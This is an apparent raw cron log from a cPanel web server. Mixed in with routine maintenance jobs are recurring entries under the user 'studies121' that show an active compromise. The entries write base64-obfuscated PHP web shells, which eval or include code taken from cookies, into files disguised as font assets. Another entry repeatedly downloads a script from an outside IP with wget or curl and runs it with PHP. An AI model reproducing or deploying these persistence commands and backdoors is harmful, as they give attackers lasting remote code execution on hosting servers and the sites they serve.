Sep  6 05:35:02 ip-184-168-122-23 CROND[20913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:35:02 ip-184-168-122-23 CROND[20920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:35:02 ip-184-168-122-23 CROND[20921]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 05:36:01 ip-184-168-122-23 CROND[21028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:36:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:36:01 ip-184-168-122-23 CROND[21033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:36:01 ip-184-168-122-23 CROND[21032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:36:01 ip-184-168-122-23 CROND[21035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:37:01 ip-184-168-122-23 CROND[21122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:37:01 ip-184-168-122-23 CROND[21125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:37:01 ip-184-168-122-23 CROND[21124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:37:01 ip-184-168-122-23 CROND[21126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:38:01 ip-184-168-122-23 CROND[21211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:38:01 ip-184-168-122-23 CROND[21212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:38:01 ip-184-168-122-23 CROND[21216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:38:01 ip-184-168-122-23 CROND[21215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:38:01 ip-184-168-122-23 CROND[21217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:39:01 ip-184-168-122-23 CROND[21299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:39:01 ip-184-168-122-23 CROND[21302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:39:01 ip-184-168-122-23 CROND[21305]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 05:39:01 ip-184-168-122-23 CROND[21303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:39:01 ip-184-168-122-23 CROND[21304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:40:01 ip-184-168-122-23 CROND[21494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:40:01 ip-184-168-122-23 CROND[21496]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 05:40:01 ip-184-168-122-23 CROND[21498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:40:01 ip-184-168-122-23 CROND[21497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:40:01 ip-184-168-122-23 CROND[21499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:40:01 ip-184-168-122-23 CROND[21500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:40:01 ip-184-168-122-23 CROND[21505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:40:01 ip-184-168-122-23 CROND[21507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:41:01 ip-184-168-122-23 CROND[21715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:41:01 ip-184-168-122-23 CROND[21717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:41:01 ip-184-168-122-23 CROND[21720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:41:01 ip-184-168-122-23 CROND[21721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:42:01 ip-184-168-122-23 CROND[21862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:42:01 ip-184-168-122-23 CROND[21864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:42:01 ip-184-168-122-23 CROND[21866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:42:01 ip-184-168-122-23 CROND[21863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:42:01 ip-184-168-122-23 CROND[21865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:43:01 ip-184-168-122-23 CROND[21970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:43:01 ip-184-168-122-23 CROND[21972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:43:01 ip-184-168-122-23 CROND[21974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:43:01 ip-184-168-122-23 CROND[21973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:44:01 ip-184-168-122-23 CROND[22054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:44:01 ip-184-168-122-23 CROND[22056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:44:01 ip-184-168-122-23 CROND[22057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:44:01 ip-184-168-122-23 CROND[22058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:44:01 ip-184-168-122-23 CROND[22059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:45:01 ip-184-168-122-23 CROND[22272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:45:01 ip-184-168-122-23 CROND[22276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 05:45:01 ip-184-168-122-23 CROND[22274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:45:01 ip-184-168-122-23 CROND[22275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:45:01 ip-184-168-122-23 CROND[22277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 05:45:01 ip-184-168-122-23 CROND[22278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:46:01 ip-184-168-122-23 CROND[22374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:46:01 ip-184-168-122-23 CROND[22376]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 05:46:01 ip-184-168-122-23 CROND[22377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:46:01 ip-184-168-122-23 CROND[22380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 05:46:01 ip-184-168-122-23 CROND[22379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 05:46:01 ip-184-168-122-23 CROND[22382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 05:46:01 ip-184-168-122-23 CROND[22378]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 05:47:01 ip-184-168-122-23 CROND[22471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 05:47:01 ip-184-168-122-23 CROND[22474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 05:47:01 ip-184-168-122-23 CROND[22475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
